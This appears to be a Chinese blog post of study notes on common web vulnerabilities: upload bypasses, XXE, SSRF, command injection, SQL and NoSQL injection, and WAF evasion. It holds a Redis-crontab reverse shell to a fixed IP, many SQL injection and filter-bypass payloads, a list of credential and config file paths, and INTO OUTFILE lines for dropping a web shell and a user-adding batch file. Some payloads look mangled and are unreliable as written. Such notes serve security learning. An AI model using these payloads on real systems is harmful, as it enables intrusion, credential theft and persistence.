Web基础漏洞

日就完事了

Posted by RTL on August 6, 2018

Web 基础漏洞

文件上传与命令注入

产生原因

  • 服务器配置不当
  • 开源编辑器上传漏洞
  • 本地文件上传限制被绕过
  • 过滤不严或被绕过
  • 文件解析漏洞导致文件执行
  • 文件路径截断

上传检测流程概述

  • 客户端 JS 检测
  • 服务端 MIME 检测
  • 服务端目录路经检测
  • 服务器文件拓展名检测
  • 服务端文件内容检测

客户端检测绕过(JS检测)

  • 智障操作
  • 改一下 JS 就 OK

服务端检测绕过(MIME检测)

  • 若服务器代码如下,我们可以将request 包的Content-Type 修改
<?php
if($_FILES['userfile']['type'] != "image/gif") { //检测Content-type echo "Sorry, we
only allow uploading GIF images";
exit;
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) { echo "File is
valid, and was successfully uploaded.\n";
} else {
echo "File uploading failed.\n";
}
?>

服务器检测绕过(目录路径检测)

  • 可以使用0x00截断

服务器检测绕过(文件拓展名检测)

黑名单检测

  • 文件名大小写绕过
  • 名单列表绕过
  • 特殊文件名绕过
  • 截断绕过
  • htaccess 文件攻击
  • 解析调用/漏洞绕过

白名单检测

  • 解析调用/漏洞绕过
  • 截断绕过

服务器检测绕过(文件内容检测)

  • 文件幻数检测(二进制数字头)
  • 文件相关信息检测
  • 文件加载检测
    • 一般是调用API 或函数去进行文件加载测试常见的是图像渲染测试,甚至是进行二次渲染
    • 对渲染/加载测试的攻击方式是代码注入绕过,对二次渲染的攻击方式是攻击文件加载器自身

解析攻击

  • 直接解析/执行攻击
  • 配合解析/执行攻击

文件包含漏洞

  • 本地文件包含的作用
    • banner/header
    • 预处理函数/配置文件
    • 缓存
    • 提高了代码的重用性,加快了开发速度

XXE

XML

  • 所有的 XML 文档都由五种简单的构建模块
    • 元素
    • 属性
    • 实体
    • PCDATA
    • CDATA
  • XML 四种实体类型
    • 字符实体
    • 命名实体
    • 外部实体
    • 参数实体
  • 内部引入,类似于变量名
  • 外部引入

XXE利用方式

<?php
  $xml=simplexml_load_string($_GET['xml']);
  print_r((string)$xml);
?>
  • 可结合 SSRF,命令执行等

SSRF

SSRF攻击危害

  • 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息
  • 攻击运行在内网或本地的应用程序(比如溢出)
  • 对内网web应用进行指纹识别,通过访问默认文件实现
  • 攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等)
  • 利用file协议读取本地文件等

绕过 IP 限制的方法

  • 编码
  • 利用解析 URL 所出现的问题
  • 利用 302 跳转
  • 利用各种非 http 协议

防御方法

  • 过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
  • 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
  • 限制请求的端口为http常用的端口,比如,80,443,8080,8090。
  • 黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
  • 禁用不需要的协议。仅仅允许http和https请求。可以防止类似于 file:/// gopher:// ftp:// 等引起的问题。

反弹 shell 脚本

  • 以下只是个示例
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/118.89.20.188/12345 0>&1\n\n\n\n" config set dir /etc/ config set dbfilename crontab save

命令执行漏洞

  • 应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。

  • 分类

    • 代码层过滤不严:商业应用的一些核心代码封装在二进制文件中,在web应用中通过system函数来调用:system(“/bin/program –arg $arg”);
    • 系统的漏洞造成命令注入bash破壳漏洞(CVE-2014-6271)
    • 调用的第三方组件存在代码执行漏洞如
      • WordPress中用来处理图片的ImageMagick组件
      • JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等)
      • ThinkPHP命令执行
system("$arg"); //直接输入即可
system("/bin/prog $arg"); //直接输入;ls
system("/bin/prog -p $arg"); //直接输入;ls
system("/bin/prog --p=\"$arg\""); //可以输入";ls;"
system("/bin/prog --p='$arg'"); //可以输入';ls;’

SQL 注入

  • SQL注入漏洞可能是被人知道最多的漏洞,也是目前被利用的最多的漏洞。SQL注入漏洞的原理是由于开发者在编写操作数据库代码时,直接将外部可控的参数拼接到SQL语句中,没有经过任何过滤或过滤不严谨,导致攻击者可以使恶意语句在数据库引擎中执行。
  • 易出现问题的点: SQL注入经常出现在登陆页面、获取HTTP头(user-agent/client-ip等)、订单处理等地方。登陆页面主要发生在HTTP头中的client-ip和x-forward-for,这些一般用来记录登陆的ip。
  • 注入类型
    • Union注入
    • 报错注入
    • Boolean盲注
    • Timing盲注

Union 注入

  • 特点
    • 有回显,可以看到某些字段的回显结果(通常)
    • 猜解出字段数目
    • 最方便的注入方式
    • Union语句可以填充查询结果,并且额外执行一次查询
  • UNION 操作符用于合并两个或多个SELECT 语句的结果集。请注意,UNION 内部的SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条SELECT 语句中的列的顺序必须相同。
  • SQL UNION 语法:
    • SELECT column_name(s) FROM table_name1 UNION SELECT column_name(s) FROM table_name2
  • SQL UNION ALL 语法
    • SELECT column_name(s) FROM table_name1 UNION ALL SELECT column_name(s) FROM table_name2
  • 另外,UNION 结果集中的列名总是等于UNION 中第一个 SELECT 语句中的列名

  • 限制
    • 很多攻击场景不是select语句注入,不存在直接回显
    • Union关键词经常被过滤

报错注入

  • 页面输出SQL报错信息
  • 注入效率高
  • 利用SQL语句使数据库报错
  • 报错信息里包含SQL语句执行结果

常见的报错注入函数

  • floor(Mysql): and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);
  • extractvalue(Mysql): and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
  • updatexml(Mysql): and 1=(updatexml(1,concat(0x3a,(select user())),1))
  • EXP: Exp(~(select * from (select user())a))
  • UTL_INADDR.get_host_address(Oracle):and 1=utl_inaddr.get_host_address((select banner() from sys.v_$version where rownum=1))
  • id=2’ and (select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);#
  • id=2’ and extractvalue(1, concat(0x5c, (select @@version limit 1)));#
  • id=2’ and 1=(updatexml(1,concat(0x5e24,(select @@version),0x5e24),1))#

Timing盲注

  • 页面不存在不同回显,但SQL语句被执行
  • 逐个爆破猜解+时间延迟,效率最低
  • 利用:if (query=True) delay(1000);else pass;的程序逻辑,通过观察是否发生了时间延迟来推测SQL语句的执行情况是否为 True
  • payload:If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判断语句, 条件为假,执行sleep

Boolean盲注

  • 在没有数据回显的情况下,可以存在不同的页面内容回显
  • 通常逐个爆破猜解,效率偏低
  • 思路:利用回显的不同推测SQL语句执行的结果是 True 还是 False
  • payload:select * from users where user=’xx’ and pass>’123’#’

SQl导入导出

  • load_file()导出文件Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。使用条件:
    • 必须有权限读取并且文件必须完全可读
      • and (select count() from mysql.user)>0/ 如果结果返回正常,说明具有读写权限
      • and (select count() from mysql.user)>0/ 返回错误,应该是管理员给数据库帐户降权
    • 欲读取文件必须在服务器上
    • 必须指定文件完整的路径
    • 欲读取文件必须小于max_allowed_packet
  • 在实际的注入中,我们有两个难点需要解决:
    • 绝对物理路径
    • 构造有效的畸形语句(报错爆出绝对路径)
  • 在很多PHP 程序中,当提交一个错误的Query,如果 display_errors = on,程序就会暴露 WEB 目录的绝对路径,只要知道路径,那么对于一个可以注入的PHP 程序来说,整个服务器的安全将受到严重的威胁。
  • SELECT…..INTO OUTFILE ‘file_name’ 可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此必须拥有FILE 权限,才能使用此语法。file_name 不能是一个已经存在的文件。

二次注入

  • 攻击者将恶意SQL语句插入到数据库中,程序对数据库内容毫无防备,直接带入查询。
  • 对来自于内部的输入输出过于信任。

宽字节注入

  • 当数据库使用了宽字符集(如GBK),会将一些两个字符单做一个字符,如:0xbf27、0xbf5c
  • 反斜杠是0x5c,使用addslashes()等转义函数在处理输入时会将’ \ “这些字符用反斜杠转义,输入0xbf27,转以后变成了0xbf5c27,5c被当做了汉字一部分,单引号0x27逃逸出来。
  • payload:id=狷’

ACCESS偏移注入

  • 能够知道表名,不知道字段名,并且某些位置不能回显
  • 借助union select、inner join以及*字符,将未知字段查询出来,并且打乱顺序,从而将所有字段查询出来
  • step1:猜字段数
  • id=123 union select 1,2,3,4,5,6,7,8 from admin(查询成功)
  • id=123 union select 1,2,3,4,* from admin(查询成功)
  • step2:inner join查询
  • id=123 union select 1,2,3,4,* from (admin as a inner join admin as b on a.id = b.id)

Mongodb注入

  • username[$ne]=test&password[$ne]=test
  • db.test.find({username:{‘$ne’:’test’}},password:{‘$ne’,’test’});
  • 等价于select * from test where username!=’test’ and password!=’test’
  • username[$regex]=/^ADMIN/&password[$ne]=a
  • db.test.find({username:{‘$regex’:’^a’}},password:{‘$ne’,’test’});

一种隐蔽的注入

  • 字符串被MYSQL当成八字节的DOUBEL类型来处理
  • 思路就是将查询内容转成数字进行运算
  • select conv(hex(substr((select table_name from information_schema.tables where table_schema=schema() limit 0,1),1 + (n-1) * 8, 8*n)), 16, 10);
  • insert into news values (‘3’, ‘xx’ conv(hex(substr(user(),1 + (n-1) * 8, 8* n)),16, 10);

Mysql过长截断

  • 在MySQL没有开启STRICT_ALL_TABLES选项时(MySQLsql_mode默认为defalut),MySQL对插入超长的值只会提示’warning’并且插入成功,而不是error,这样会导致一些截断问题
Create table user(
id tinyint(4) not null,
username varchar(7) not null,
password varchar(20) not null
);

//开启strict_trans_tables后插入过长条目失败,关闭后插入成功
insert into user values(1, 'admin           1', '123');

//插入的username变成了'admin'

带外传输

Some Tips

  • 截取字符串相关函数
    • left(a,b)从左侧截取a 的前b 位:left(database(),1)>’s’
    • substr(a,b,c)从b 位置开始, 截取字符串a 的c 长度
    • Ascii() 将某个字符转换为ascii 值:ascii(substr(user),1,1))=101#
    • mid(a,b,c)从位置b 开始, 截取a 字符串的 c 位
    • regexp正则表达式的用法, user()结果为root, regexp 为匹配 root 的正则表达式:select user() regexp ‘^ro’
    • IF语句:select * from users where id=1 and 1=(if((user() regexp ‘^r’),1,0));
  • 系统函数
    • version()——MySQL 版本
    • user()——数据库用户名
    • database()——数据库名
    • @@datadir——数据库路径
    • @@version_compile_os——操作系统版本
  • 字符串连接函数
    • concat(str1,str2,…)——没有分隔符地连接字符串
    • concat_ws(separator,str1,str2,…)——含有分隔符地连接字符串
    • group_concat(str1,str2,…)——连接一个组的所有字符串,并以逗号分隔每一条数据说着比较抽象,其实也并不需要详细了解,知道这三个函数能一次性查出所有信息就行了。
  • 一般用于尝试的语句
    • or 1=1–+ Ps:–+ 可以用#替换,url 提交过程中Url 编码后的 # 为 %23
    • ‘or 1=1–+
    • “or 1=1–+
    • )or 1=1–+
    • ‘)or 1=1–+
    • ”) or 1=1–+
    • ”))or 1=1–+
  • Mysql 有一个系统数据库information_schema,存储着所有的数据库的相关信息,一般的, 我们利用该表可以进行一次完整的注入。以下为一般的流程。
    • 猜数据库 select schema_name from information_schema.schemata
    • 猜某库的数据表 select table_name from information_schema.tables where table_schema=’xxxxx’
    • 猜某表的所有列 select column_name from information_schema.columns where table_name=’xxxxx’
    • 获取某列的内容 select ** from ***
  • MySQL注入load_file常用路径
    • c:/boot.ini //查看系统版本
    • c:/windows/php.ini //php配置信息
    • c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
    • c:/winnt/php.ini
    • c:/winnt/my.ini
    • c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
    • /usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
    • /usr/local/apache2/conf/httpd.conf
    • /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
    • /usr/local/app/php5/lib/php.ini //PHP相关设置
    • /etc/sysconfig/iptables //从中得到防火墙规则策略
    • /etc/httpd/conf/httpd.conf // apache配置文件
    • /etc/rsyncd.conf //同步程序配置文件
    • /etc/my.cnf //mysql的配置文件
  • 利用数据库对服务器写脚本
    • select ‘’ into dumpfile ‘/var/www/html/1.php’
    • id=1 union select 1,2,3, “net user cimer cimer /ad” into outfile ‘c\documents and settings\all users\startmenu\programs\startup\add.bat’
  • WAF绕过
    • 双写关键字
      • 应对简单的非迭代的将select、or等关键字替换为空字符串的防御
      • payload: seelectlect from; where username=’x’ OorR 1=1
    • 大小写绕过
      • 应对简单的区分大小写的关键字匹配,比如 php 中 preg_match 函数没有加 /i 参数
      • payload: SelecT,Or
    • 编码绕过
      • ASCII:
        • admin可以用CHAR(97)+char(100)+char(109)+char(105)+char(110)代替
        • select * from admin where username=(CHAR(97)+char(100)+char(109)+char(105)+char(110))
      • 16进制:extractvalue(0x3C613E61646D696E3C2F613E,0x2f61)
      • unicode编码:单引号 ==> %u0027; %u02b9; %u02bc; %u02c8; %u2032; %uff07
      • URL编码:or 1=1 ==> %6f%72%20%31%3d%31
    • 变换姿势绕过
      • Or ==>   ; and ==> &&
      • 空格被限制:select(username)from(admin)
      • 科学计数法绕过:where username=1e1 union select
      • = < > 被限制:where id in (1,2); where id between 1 and 3; like
      • access 中使用 dlookup 绕过select from 被限制:(user=12’,info=dlookup(‘[user]’,’userinfo’,’[id]=1’)%00)
    • 使用特殊字符
      • 空格被限制:/**/; %a0; %0a; %0d; %09; tab….
      • 内联注释:select 1 from /!admin/ /!union/ select 2,
      • MYSQL对%00不会截断:se%00lect
      • 单一%号,在asp+iis中会被忽略:sel%ect
      • ``mysql反引号之间的会被当做注释内容

认证与授权

认证

  • 单因素认证与多因素认证
  • 密码强度:
    • OWASP推荐:6 8,多种组合
  • 密码加密存储在数据库(哈希)
  • Session与Cookie
    • sessionID标识身份,在会话生命周期内失窃等于账户失窃
    • 常见保存于Cookie中
    • Cookie劫持:嗅探、本地文件窃取、XSS攻击

授权

  • 用户有限制的访问资源,就是访问控制
  • 基于URL的访问控制
  • 基于方法的访问控制
  • 基于数据的访问控制

越权

  • 水平越权
    • 水平权限攻击,也叫作访问控制攻击。Web应用程序接收到用户请求,修改某条数据时,没有判断数据的所属人,或者在判断数据所属人时从用户提交的表单参数中获取了userid。导致攻击者可以自行修改userid修改不属于自己的数据。所有的更新语句操作,都可能产生这个漏洞。
  • 垂直越权
    • 垂直权限攻击又叫做权限提升攻击。其原理是由于Web应用没有做权限控制,或仅仅在菜单上做了权限控制,导致恶意用户只要猜测其他管理页面的URL,就可以访问或控制其他角色拥有的数据或页面,达到权限提升的目的。